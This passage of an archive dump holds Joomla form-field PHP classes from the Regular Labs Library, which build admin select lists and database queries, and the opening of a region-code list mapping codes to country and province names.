$attr .= ' disabled="disabled"';
}
// Initialize JavaScript field attributes.
$attr .= $this->onchange ? ' onchange="' .
$this->onchange . '"' : '';
// Get the field options.
$options = (array) $this->getOptions();
if ((string) $this->readonly == '1' || (string)
$this->readonly == 'true')
{
// Create a read-only list (no name) with a hidden input to store the
value.
$html[] = JHtml::_('select.genericlist', $options,
'', trim($attr), 'value', 'text',
$this->value, $this->id);
$html[] = '<input type="hidden" name="' .
$this->name . '" value="' .
htmlspecialchars($this->value, ENT_COMPAT, 'UTF-8') .
'">';
}
else
{
// Create a regular list.
$html[] = JHtml::_('select.genericlist', $options,
$this->name, trim($attr), 'value', 'text',
$this->value, $this->id);
}
return implode($html);
}
}
fields/loadlanguage.php000064400000002034151167425550011160
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
use RegularLabs\Library\Language as RL_Language;
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
class JFormFieldRL_LoadLanguage extends \RegularLabs\Library\Field
{
public $type = 'LoadLanguage';
protected function getLabel()
{
return '';
}
protected function getInput()
{
$extension = $this->get('extension');
$admin = $this->get('admin', 1);
self::loadLanguage($extension, $admin);
return '';
}
function loadLanguage($extension, $admin = 1)
{
if ( ! $extension)
{
return;
}
RL_Language::load($extension, $admin ? JPATH_ADMINISTRATOR : JPATH_SITE);
}
}
fields/menuitems.php000064400000006241151167425550010547 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
use Joomla\CMS\Language\Text as JText;
use Joomla\Registry\Registry;
use RegularLabs\Library\Language as RL_Language;
use RegularLabs\Library\RegEx as RL_RegEx;
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
class JFormFieldRL_MenuItems extends \RegularLabs\Library\Field
{
public $type = 'MenuItems';
protected function getInput()
{
$size = (int) $this->get('size');
$multiple = $this->get('multiple', 0);
return $this->selectListAjax(
$this->type, $this->name, $this->value, $this->id,
compact('size', 'multiple')
);
}
function getAjaxRaw(Registry $attributes)
{
$name = $attributes->get('name', $this->type);
$id = $attributes->get('id', strtolower($name));
$value = $attributes->get('value', []);
$size = $attributes->get('size');
$multiple = $attributes->get('multiple');
$options = $this->getMenuItems();
return $this->selectList($options, $name, $value, $id, $size,
$multiple);
}
/**
* Get a list of menu links for one or all menus.
*/
public static function getMenuItems()
{
RL_Language::load('com_modules', JPATH_ADMINISTRATOR);
JLoader::register('MenusHelper', JPATH_ADMINISTRATOR .
'/components/com_menus/helpers/menus.php');
$menuTypes = MenusHelper::getMenuLinks();
foreach ($menuTypes as &$type)
{
$type->value = 'type.' . $type->menutype;
$type->text = $type->title;
$type->level = 0;
$type->class = 'hidechildren';
$type->labelclass = 'nav-header';
$rlu[$type->menutype] = &$type;
foreach ($type->links as &$link)
{
$check1 = RL_RegEx::replace('[^a-z0-9]', '',
strtolower($link->text));
$check2 = RL_RegEx::replace('[^a-z0-9]', '',
$link->alias);
$text = [];
$text[] = $link->text;
if ($check1 !== $check2)
{
$text[] = '<span class="small ghosted">[' .
$link->alias . ']</span>';
}
if (in_array($link->type, ['separator',
'heading', 'alias', 'url']))
{
$text[] = '<span class="label label-info">'
. JText::_('COM_MODULES_MENU_ITEM_' . strtoupper($link->type))
. '</span>';
// Don't disable, as you need to be able to select the 'Also
on Child Items' option
// $link->disable = 1;
}
if ($link->published == 0)
{
$text[] = '<span class="label">' .
JText::_('JUNPUBLISHED') . '</span>';
}
if (JLanguageMultilang::isEnabled() && $link->language !=
'' && $link->language != '*')
{
$text[] = $link->language_image
? JHtml::_('image', 'mod_languages/' .
$link->language_image . '.gif', $link->language_title,
['title' => $link->language_title], true)
: '<span class="label" title="' .
$link->language_title . '">' . $link->language_sef
. '</span>';
}
$link->text = implode(' ', $text);
}
}
return $menuTypes;
}
}
fields/mijoshop.php000064400000006450151167425550010373 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
class JFormFieldRL_MijoShop extends \RegularLabs\Library\FieldGroup
{
public $type = 'MijoShop';
public $store_id = 0;
public $language_id = 1;
protected function getInput()
{
if ($error = $this->missingFilesOrTables(['categories' =>
'category', 'products' => 'product']))
{
return $error;
}
if ( ! class_exists('MijoShop'))
{
require_once(JPATH_ROOT .
'/components/com_mijoshop/mijoshop/mijoshop.php');
}
$this->store_id = (int)
MijoShop::get('opencart')->get('config')->get('config_store_id');
$this->language_id = (int)
MijoShop::get('opencart')->get('config')->get('config_language_id');
return $this->getSelectList();
}
function getCategories()
{
$query = $this->db->getQuery(true)
->select('COUNT(*)')
->from('#__mijoshop_category AS c')
->join('INNER', '#__mijoshop_category_description AS
cd ON c.category_id = cd.category_id')
->join('INNER', '#__mijoshop_category_to_store AS cts
ON c.category_id = cts.category_id')
->where('c.status = 1')
->where('cd.language_id = ' . $this->language_id)
->where('cts.store_id = ' . $this->store_id)
->group('c.category_id');
$this->db->setQuery($query);
$total = $this->db->loadResult();
if ($total > $this->max_list_count)
{
return -1;
}
$query->clear('select')
->select('c.category_id AS id, c.parent_id, cd.name AS title,
c.status AS published')
->order('c.sort_order, cd.name');
$this->db->setQuery($query);
$items = $this->db->loadObjectList();
return $this->getOptionsTreeByList($items);
}
function getProducts()
{
$query = $this->db->getQuery(true)
->select('COUNT(*)')
->from('#__mijoshop_product AS p')
->join('INNER', '#__mijoshop_product_description AS pd
ON p.product_id = pd.product_id')
->join('INNER', '#__mijoshop_product_to_store AS pts
ON p.product_id = pts.product_id')->where('p.status = 1')
->where('p.date_available <= NOW()')
->where('pd.language_id = ' . $this->language_id)
->group('p.product_id');
$this->db->setQuery($query);
$total = $this->db->loadResult();
if ($total > $this->max_list_count)
{
return -1;
}
$query->clear('select')
->select('p.product_id as id, pd.name, p.model as model, cd.name
AS cat, p.status AS published')
->join('LEFT', '#__mijoshop_product_to_category AS ptc
ON p.product_id = ptc.product_id')
->join('LEFT', '#__mijoshop_category_description AS cd
ON ptc.category_id = cd.category_id')
->join('LEFT', '#__mijoshop_category_to_store AS cts
ON ptc.category_id = cts.category_id')
->where('cts.store_id = ' . $this->store_id)
->where('cd.language_id = ' . $this->language_id)
->where('cts.store_id = ' . $this->store_id)
->order('pd.name, p.model');
$this->db->setQuery($query);
$list = $this->db->loadObjectList();
return $this->getOptionsByList($list, ['model',
'cat', 'id']);
}
}
fields/modules.php000064400000013156151167425550010214 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
use Joomla\CMS\HTML\HTMLHelper as JHtml;
use Joomla\CMS\Language\Text as JText;
use RegularLabs\Library\Form as RL_Form;
use RegularLabs\Library\RegEx as RL_RegEx;
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
class JFormFieldRL_Modules extends \RegularLabs\Library\Field
{
public $type = 'Modules';
protected function getInput()
{
JHtml::_('behavior.modal', 'a.modal');
$size = $this->get('size') ? 'style="width:'
. $this->get('size') . 'px"' : '';
$multiple = $this->get('multiple');
$showtype = $this->get('showtype');
$showid = $this->get('showid');
$showinput = $this->get('showinput');
$showlink = ! $multiple ? $this->get('showlink') : false;
// load the list of modules
$query = $this->db->getQuery(true)
->select('m.id, m.title, m.position, m.module, m.published,
m.language')
->from('#__modules AS m')
->where('m.client_id = 0')
->where('m.published > -2')
->order('m.position, m.title, m.ordering, m.id');
$this->db->setQuery($query);
$modules = $this->db->loadObjectList();
// assemble menu items to the array
$options = [];
$selected_title = '';
$p = 0;
foreach ($modules as $item)
{
if ($p !== $item->position)
{
$pos = $item->position;
if ($pos == '')
{
$pos = ':: ' . JText::_('JNONE') . '
::';
}
$options[] = JHtml::_('select.option', '-', '[
' . $pos . ' ]', 'value', 'text', true);
}
$p = $item->position;
$item->title = $item->title;
if ($showtype)
{
$item->title .= ' [' . $item->module . ']';
}
if ($showinput || $showid)
{
$item->title .= ' [' . $item->id . ']';
}
if ($item->language && $item->language != '*')
{
$item->title .= ' (' . $item->language . ')';
}
$item->title = RL_Form::prepareSelectItem($item->title,
$item->published);
$options[] = JHtml::_('select.option', $item->id,
$item->title);
if ($showlink && $this->value == $item->id)
{
$selected_title = $item->title;
}
}
if ($showinput)
{
array_unshift($options, JHtml::_('select.option',
'-', ' ', 'value', 'text',
true));
array_unshift($options, JHtml::_('select.option',
'-', '- ' . JText::_('Select Item') . '
-'));
if ($multiple)
{
$onchange = 'if ( this.value ) { if ( ' . $this->id .
'.value ) { ' . $this->id . '.value+=\',\'; }
' . $this->id . '.value+=this.value; }
this.value=\'\';';
}
else
{
$onchange = 'if ( this.value ) { ' . $this->id .
'.value=this.value;' . $this->id .
'_text.value=this.options[this.selectedIndex].innerHTML.replace(
/^((&|&| )nbsp;|-)*/gm, \'\' ).trim(); }
this.value=\'\';';
}
$attribs = 'class="inputbox" onchange="' .
$onchange . '"';
$html = '<table cellpadding="0"
cellspacing="0"><tr><td style="padding:
0px;">' . "\n";
if ( ! $multiple)
{
$val_name = $this->value;
if ($this->value)
{
foreach ($modules as $item)
{
if ($item->id == $this->value)
{
$val_name = $item->title;
if ($showtype)
{
$val_name .= ' [' . $item->module . ']';
}
$val_name .= ' [' . $this->value . ']';
break;
}
}
}
$html .= '<input type="text" id="' .
$this->id . '_text" value="' . $val_name .
'" class="inputbox" ' . $size . '
disabled="disabled">';
$html .= '<input type="hidden" name="' .
$this->name . '" id="' . $this->id . '"
value="' . $this->value . '">';
}
else
{
$html .= '<input type="text" name="' .
$this->name . '" id="' . $this->id . '"
value="' . $this->value . '"
class="inputbox" ' . $size . '>';
}
$html .= '</td><td style="padding:
0px;"padding-left: 5px;>' . "\n";
$html .= JHtml::_('select.genericlist', $options,
'', $attribs, 'value', 'text', '',
'');
$html .= '</td></tr></table>' .
"\n";
}
else
{
$attr = $size;
$attr .= $multiple ? ' multiple="multiple"' :
'';
$attr .= ' class="input-xxlarge"';
if ($showlink)
{
$link = '\'<a'
. '
href="index.php?option=com_advancedmodules&task=module.edit&id=\'+this.value+\'"'
. ' target="_blank" class="btn
btn-small">\''
. '+\'<span
class="icon-edit"></span>\' '
. '+\'' . JText::_('JACTION_EDIT', true) .
' :\' '
. '+(this.options[this.selectedIndex].text)'
. '+\'</a>\'';
$function = 'document.getElementById(\'module_link_' .
$this->id . '\').innerHTML = \'\';'
. 'if(this.value){'
. 'document.getElementById(\'module_link_' .
$this->id . '\').innerHTML = ' . $link . ';'
. '}';
$attr .= ' onchange="' . $function . '"';
}
$html = JHtml::_('select.genericlist', $options,
$this->name, trim($attr), 'value', 'text',
$this->value, $this->id);
if ($showlink)
{
$link = $this->value
? '<a
href="index.php?option=com_advancedmodules&task=module.edit&id='
. $this->value . '"'
. ' target="_blank" class="btn
btn-small">'
. '<span class="icon-edit"></span> '
. JText::_('JACTION_EDIT') . ': ' .
$selected_title
. '</a>'
: '';
$html .= '<div id="module_link_' . $this->id .
'" class="alert-block">'
. $link
. '</div>';
}
$html = '<div class="input-maximize">' . $html
. '</div>';
}
return RL_RegEx::replace('>\[\[\:(.*?)\:\]\]', '
style="\1">', $html);
}
}
fields/note.php000064400000004566151167425550007516 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
use Joomla\CMS\Language\Text as JText;
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
class JFormFieldRL_Note extends \RegularLabs\Library\Field
{
public $type = 'Note';
public function setup(SimpleXMLElement $element, $value, $group = null)
{
$this->element = $element;
$element['label'] =
$this->prepareText($element['label']);
$element['description'] =
$this->prepareText($element['description']);
$element['translateDescription'] = false;
return parent::setup($element, $value, $group);
}
protected function getLabel()
{
if (empty($this->element['label']) &&
empty($this->element['description']))
{
return '';
}
$title = $this->element['label'] ? (string)
$this->element['label'] :
($this->element['title'] ? (string)
$this->element['title'] : '');
$heading = $this->element['heading'] ? (string)
$this->element['heading'] : 'h4';
$description = (string) $this->element['description'];
$class = ! empty($this->class) ? $this->class : '';
$close = (string) $this->element['close'];
$controls = (int) $this->element['controls'];
$class = ! empty($class) ? ' class="' . $class .
'"' : '';
$button = '';
$title = ! empty($title) ? JText::_($title) : '';
$description = ! empty($description) ? JText::_($description) :
'';
if ($close)
{
$close = $close == 'true' ? 'alert' : $close;
$button = '<button type="button"
class="close" data-dismiss="' . $close . '"
aria-label="Close">×</button>';
}
if ($heading && $title)
{
$title = '<' . $heading . '>'
. $title
. '</' . $heading . '>';
}
if ($controls)
{
$title = '<div
class="control-label"><label>'
. $title
. '</label></div>';
$description = '<div class="controls">'
. $description
. '</div>';
}
return '</div><div ' . $class . '>'
. $button
. $title
. $description;
}
protected function getInput()
{
return '';
}
}
fields/onlypro.php000064400000004356151167425550010250 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
use RegularLabs\Library\Extension as RL_Extension;
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
class JFormFieldRL_OnlyPro extends \RegularLabs\Library\Field
{
public $type = 'OnlyPro';
protected function getLabel()
{
$label = $this->prepareText($this->get('label'));
$tooltip = $this->prepareText($this->get('description'));
if ( ! $label && ! $tooltip)
{
return '</div><div>' . $this->getText();
}
if ( ! $label)
{
return $tooltip;
}
if ( ! $tooltip)
{
return $label;
}
return '<label class="hasPopover" title="' .
$label . '" data-content="' . htmlentities($tooltip) .
'">'
. $label
. '</label>';
}
protected function getInput()
{
$label = $this->prepareText($this->get('label'));
$tooltip = $this->prepareText($this->get('description'));
if ( ! $label && ! $tooltip)
{
return '';
}
return $this->getText();
}
protected function getText()
{
$text = JText::_('RL_ONLY_AVAILABLE_IN_PRO');
$text = '<em>' . $text . '</em>';
$extension = $this->getExtensionName();
$alias = RL_Extension::getAliasByName($extension);
if ($alias)
{
$text = '<a
href="https://www.regularlabs.com/extensions/' . $extension .
'/features" target="_blank">'
. $text
. '</a>';
}
$class = $this->get('class');
$class = $class ? ' class="' . $class . '"'
: '';
return '<div' . $class . '>' . $text .
'</div>';
}
protected function getExtensionName()
{
if ($extension = $this->form->getValue('element'))
{
return $extension;
}
if ($extension =
JFactory::getApplication()->input->get('component'))
{
return str_replace('com_', '', $extension);
}
if ($extension =
JFactory::getApplication()->input->get('folder'))
{
$extension = explode('.', $extension);
return array_pop($extension);
}
return false;
}
}
fields/plaintext.php000064400000002360151167425550010547 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
class JFormFieldRL_PlainText extends \RegularLabs\Library\Field
{
public $type = 'PlainText';
protected function getLabel()
{
$label = $this->prepareText($this->get('label'));
$tooltip = $this->prepareText($this->get('description'));
if ( ! $label && ! $tooltip)
{
return '';
}
if ( ! $label)
{
return '<div>' . $tooltip . '</div>';
}
if ( ! $tooltip)
{
return '<div>' . $label . '</div>';
}
return '<label class="hasPopover" title="' .
$label . '" data-content="' . htmlentities($tooltip) .
'">'
. $label . '</label>';
}
protected function getInput()
{
$text = $this->prepareText($this->value);
if ( ! $text)
{
return '';
}
return '<fieldset class="rl_plaintext">' .
$text . '</fieldset>';
}
}
fields/range.php000064400000002644151167425550007640 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
JFormHelper::loadFieldClass('range');
class JFormFieldRL_Range extends \JFormFieldRange
{
protected $layout = 'range';
protected function getInput()
{
$this->value = (float) ($this->value ?: $this->default);
if ( ! empty($this->max))
{
$this->value = min($this->value, $this->max);
}
if ( ! empty($this->min))
{
$this->value = max($this->value, $this->min);
}
return parent::getInput();
}
protected function getLayoutPaths()
{
$paths = parent::getLayoutPaths();
$paths[] = JPATH_LIBRARIES . '/regularlabs/layouts';
return $paths;
}
protected function getLayoutData()
{
$data = parent::getLayoutData();
// Initialize some field attributes.
$extraData = [
'prepend' => isset($this->element['prepend'])
? (string) $this->element['prepend'] : '',
'append' => isset($this->element['append']) ?
(string) $this->element['append'] : '',
];
return array_merge($data, $extraData);
}
}
fields/redshop.php000064400000006227151167425550010211 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
use RegularLabs\Library\DB as RL_DB;
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
class JFormFieldRL_RedShop extends \RegularLabs\Library\FieldGroup
{
public $type = 'RedShop';
protected function getInput()
{
if ($error = $this->missingFilesOrTables(['categories' =>
'category', 'products' => 'product']))
{
return $error;
}
return $this->getSelectList();
}
function getCategories()
{
$query = $this->db->getQuery(true)
->select('COUNT(*)')
->from('#__redshop_category AS c')
->where('c.published > -1');
$this->db->setQuery($query);
$total = $this->db->loadResult();
if ($total > $this->max_list_count)
{
return -1;
}
$this->db->setQuery($this->getCategoriesQuery());
$items = $this->db->loadObjectList();
return $this->getOptionsTreeByList($items);
}
function getProducts()
{
$query = $this->db->getQuery(true)
->select('COUNT(*)')
->from('#__redshop_product AS p')
->where('p.published > -1');
$this->db->setQuery($query);
$total = $this->db->loadResult();
if ($total > $this->max_list_count)
{
return -1;
}
$this->db->setQuery($this->getProductsQuery());
$list = $this->db->loadObjectList();
return $this->getOptionsByList($list, ['number',
'cat']);
}
private function getCategoriesQuery()
{
$query = $this->db->getQuery(true)
->select('c.id, c.parent_id, c.name AS title, c.published')
->from('#__redshop_category AS c')
->where('c.published > -1');
if (RL_DB::tableExists('redshop_category_xref'))
{
$query->clear('select')
->select('c.category_id as id, x.category_parent_id AS
parent_id, c.category_name AS title, c.published')
->join('LEFT', '#__redshop_category_xref AS x ON
x.category_child_id = c.category_id')
->group('c.category_id')
->order('c.ordering, c.category_name');
return $query;
}
$query
->group('c.id')
->order('c.ordering, c.name');
return $query;
}
private function getProductsQuery()
{
$query = $this->db->getQuery(true)
->select('p.product_id as id, p.product_name AS name,
p.product_number as number, c.name AS cat, p.published')
->from('#__redshop_product AS p')
->where('p.published > -1')
->join('LEFT', '#__redshop_product_category_xref AS x
ON x.product_id = p.product_id')
->group('p.product_id')
->order('p.product_name, p.product_number');
if (RL_DB::tableExists('redshop_category_xref'))
{
$query->clear('select')
->select('p.product_id as id, p.product_name AS name,
p.product_number as number, c.category_name AS cat, p.published')
->join('LEFT', '#__redshop_category AS c ON
c.category_id = x.category_id');
return $query;
}
$query
->join('LEFT', '#__redshop_category AS c ON c.id =
x.category_id');
return $query;
}
}
fields/regions.txt000064400000453605151167425550010251 0ustar00// Region
codes taken from https://documentation.snoobi.com/region-codes
'--AF' => '','-AF' =>
'Afghanistan',
'AF-01' => 'Afghanistan: Badakhshan',
'AF-02' => 'Afghanistan: Badghis',
'AF-03' => 'Afghanistan: Baghlan',
'AF-30' => 'Afghanistan: Balkh',
'AF-05' => 'Afghanistan: Bamian',
'AF-06' => 'Afghanistan: Farah',
'AF-07' => 'Afghanistan: Faryab',
'AF-08' => 'Afghanistan: Ghazni',
'AF-09' => 'Afghanistan: Ghowr',
'AF-10' => 'Afghanistan: Helmand',
'AF-11' => 'Afghanistan: Herat',
'AF-31' => 'Afghanistan: Jowzjan',
'AF-13' => 'Afghanistan: Kabol',
'AF-23' => 'Afghanistan: Kandahar',
'AF-14' => 'Afghanistan: Kapisa',
'AF-37' => 'Afghanistan: Khowst',
'AF-15' => 'Afghanistan: Konar',
'AF-34' => 'Afghanistan: Konar',
'AF-24' => 'Afghanistan: Kondoz',
'AF-16' => 'Afghanistan: Laghman',
'AF-35' => 'Afghanistan: Laghman',
'AF-17' => 'Afghanistan: Lowgar',
'AF-18' => 'Afghanistan: Nangarhar',
'AF-19' => 'Afghanistan: Nimruz',
'AF-38' => 'Afghanistan: Nurestan',
'AF-20' => 'Afghanistan: Oruzgan',
'AF-21' => 'Afghanistan: Paktia',
'AF-36' => 'Afghanistan: Paktia',
'AF-29' => 'Afghanistan: Paktika',
'AF-22' => 'Afghanistan: Parvan',
'AF-32' => 'Afghanistan: Samangan',
'AF-33' => 'Afghanistan: Sar-e Pol',
'AF-26' => 'Afghanistan: Takhar',
'AF-27' => 'Afghanistan: Vardak',
'AF-28' => 'Afghanistan: Zabol',
'--AL' => '','-AL' =>
'Albania',
'AL-40' => 'Albania: Berat',
'AL-41' => 'Albania: Diber',
'AL-42' => 'Albania: Durres',
'AL-43' => 'Albania: Elbasan',
'AL-44' => 'Albania: Fier',
'AL-45' => 'Albania: Gjirokaster',
'AL-46' => 'Albania: Korce',
'AL-47' => 'Albania: Kukes',
'AL-48' => 'Albania: Lezhe',
'AL-49' => 'Albania: Shkoder',
'AL-50' => 'Albania: Tirane',
'AL-51' => 'Albania: Vlore',
'--DZ' => '','-DZ' =>
'Algeria',
'DZ-34' => 'Algeria: Adrar',
'DZ-35' => 'Algeria: Ain Defla',
'DZ-36' => 'Algeria: Ain Temouchent',
'DZ-01' => 'Algeria: Alger',
'DZ-37' => 'Algeria: Annaba',
'DZ-03' => 'Algeria: Batna',
'DZ-38' => 'Algeria: Bechar',
'DZ-18' => 'Algeria: Bejaia',
'DZ-19' => 'Algeria: Biskra',
'DZ-20' => 'Algeria: Blida',
'DZ-39' => 'Algeria: Bordj Bou Arreridj',
'DZ-21' => 'Algeria: Bouira',
'DZ-40' => 'Algeria: Boumerdes',
'DZ-41' => 'Algeria: Chlef',
'DZ-04' => 'Algeria: Constantine',
'DZ-22' => 'Algeria: Djelfa',
'DZ-42' => 'Algeria: El Bayadh',
'DZ-43' => 'Algeria: El Oued',
'DZ-44' => 'Algeria: El Tarf',
'DZ-45' => 'Algeria: Ghardaia',
'DZ-23' => 'Algeria: Guelma',
'DZ-46' => 'Algeria: Illizi',
'DZ-24' => 'Algeria: Jijel',
'DZ-47' => 'Algeria: Khenchela',
'DZ-25' => 'Algeria: Laghouat',
'DZ-26' => 'Algeria: Mascara',
'DZ-06' => 'Algeria: Medea',
'DZ-48' => 'Algeria: Mila',
'DZ-07' => 'Algeria: Mostaganem',
'DZ-27' => 'Algeria: M\'sila',
'DZ-49' => 'Algeria: Naama',
'DZ-09' => 'Algeria: Oran',
'DZ-50' => 'Algeria: Ouargla',
'DZ-29' => 'Algeria: Oum el Bouaghi',
'DZ-51' => 'Algeria: Relizane',
'DZ-10' => 'Algeria: Saida',
'DZ-12' => 'Algeria: Setif',
'DZ-30' => 'Algeria: Sidi Bel Abbes',
'DZ-31' => 'Algeria: Skikda',
'DZ-52' => 'Algeria: Souk Ahras',
'DZ-53' => 'Algeria: Tamanghasset',
'DZ-33' => 'Algeria: Tebessa',
'DZ-13' => 'Algeria: Tiaret',
'DZ-54' => 'Algeria: Tindouf',
'DZ-55' => 'Algeria: Tipaza',
'DZ-56' => 'Algeria: Tissemsilt',
'DZ-14' => 'Algeria: Tizi Ouzou',
'DZ-15' => 'Algeria: Tlemcen',
'--AD' => '','-AD' =>
'Andorra',
'AD-07' => 'Andorra: Andorra la Vella',
'AD-02' => 'Andorra: Canillo',
'AD-03' => 'Andorra: Encamp',
'AD-08' => 'Andorra: Escaldes-Engordany',
'AD-04' => 'Andorra: La Massana',
'AD-05' => 'Andorra: Ordino',
'AD-06' => 'Andorra: Sant Julia de Loria',
'--AO' => '','-AO' =>
'Angola',
'AO-19' => 'Angola: Bengo',
'AO-01' => 'Angola: Benguela',
'AO-02' => 'Angola: Bie',
'AO-03' => 'Angola: Cabinda',
'AO-04' => 'Angola: Cuando Cubango',
'AO-05' => 'Angola: Cuanza Norte',
'AO-06' => 'Angola: Cuanza Sul',
'AO-07' => 'Angola: Cunene',
'AO-08' => 'Angola: Huambo',
'AO-09' => 'Angola: Huila',
'AO-20' => 'Angola: Luanda',
'AO-17' => 'Angola: Lunda Norte',
'AO-18' => 'Angola: Lunda Sul',
'AO-12' => 'Angola: Malanje',
'AO-14' => 'Angola: Moxico',
'AO-15' => 'Angola: Uige',
'AO-16' => 'Angola: Zaire',
'--AG' => '','-AG' => 'Antigua and
Barbuda',
'AG-01' => 'Antigua and Barbuda: Barbuda',
'AG-03' => 'Antigua and Barbuda: Saint George',
'AG-04' => 'Antigua and Barbuda: Saint John',
'AG-05' => 'Antigua and Barbuda: Saint Mary',
'AG-06' => 'Antigua and Barbuda: Saint Paul',
'AG-07' => 'Antigua and Barbuda: Saint Peter',
'AG-08' => 'Antigua and Barbuda: Saint Philip',
'--AR' => '','-AR' =>
'Argentina',
'AR-01' => 'Argentina: Buenos Aires',
'AR-02' => 'Argentina: Catamarca',
'AR-03' => 'Argentina: Chaco',
'AR-04' => 'Argentina: Chubut',
'AR-05' => 'Argentina: Cordoba',
'AR-06' => 'Argentina: Corrientes',
'AR-07' => 'Argentina: Distrito Federal',
'AR-08' => 'Argentina: Entre Rios',
'AR-09' => 'Argentina: Formosa',
'AR-10' => 'Argentina: Jujuy',
'AR-11' => 'Argentina: La Pampa',
'AR-12' => 'Argentina: La Rioja',
'AR-13' => 'Argentina: Mendoza',
'AR-14' => 'Argentina: Misiones',
'AR-15' => 'Argentina: Neuquen',
'AR-16' => 'Argentina: Rio Negro',
'AR-17' => 'Argentina: Salta',
'AR-18' => 'Argentina: San Juan',
'AR-19' => 'Argentina: San Luis',
'AR-20' => 'Argentina: Santa Cruz',
'AR-21' => 'Argentina: Santa Fe',
'AR-22' => 'Argentina: Santiago del Estero',
'AR-23' => 'Argentina: Tierra del Fuego',
'AR-24' => 'Argentina: Tucuman',
'--AM' => '','-AM' =>
'Armenia',
'AM-01' => 'Armenia: Aragatsotn',
'AM-02' => 'Armenia: Ararat',
'AM-03' => 'Armenia: Armavir',
'AM-04' => 'Armenia: Geghark\'unik\'',
'AM-05' => 'Armenia: Kotayk\'',
'AM-06' => 'Armenia: Lorri',
'AM-07' => 'Armenia: Shirak',
'AM-08' => 'Armenia: Syunik\'',
'AM-09' => 'Armenia: Tavush',
'AM-10' => 'Armenia: Vayots\' Dzor',
'AM-11' => 'Armenia: Yerevan',
'--AU' => '','-AU' =>
'Australia',
'AU-01' => 'Australia: Australian Capital
Territory',
'AU-02' => 'Australia: New South Wales',
'AU-03' => 'Australia: Northern Territory',
'AU-04' => 'Australia: Queensland',
'AU-05' => 'Australia: South Australia',
'AU-06' => 'Australia: Tasmania',
'AU-07' => 'Australia: Victoria',
'AU-08' => 'Australia: Western Australia',
'--AT' => '','-AT' =>
'Austria',
'AT-01' => 'Austria: Burgenland',
'AT-02' => 'Austria: Karnten',
'AT-03' => 'Austria: Niederosterreich',
'AT-04' => 'Austria: Oberosterreich',
'AT-05' => 'Austria: Salzburg',
'AT-06' => 'Austria: Steiermark',
'AT-07' => 'Austria: Tirol',
'AT-08' => 'Austria: Vorarlberg',
'AT-09' => 'Austria: Wien',
'--AZ' => '','-AZ' =>
'Azerbaijan',
'AZ-01' => 'Azerbaijan: Abseron',
'AZ-02' => 'Azerbaijan: Agcabadi',
'AZ-03' => 'Azerbaijan: Agdam',
'AZ-04' => 'Azerbaijan: Agdas',
'AZ-05' => 'Azerbaijan: Agstafa',
'AZ-06' => 'Azerbaijan: Agsu',
'AZ-07' => 'Azerbaijan: Ali Bayramli',
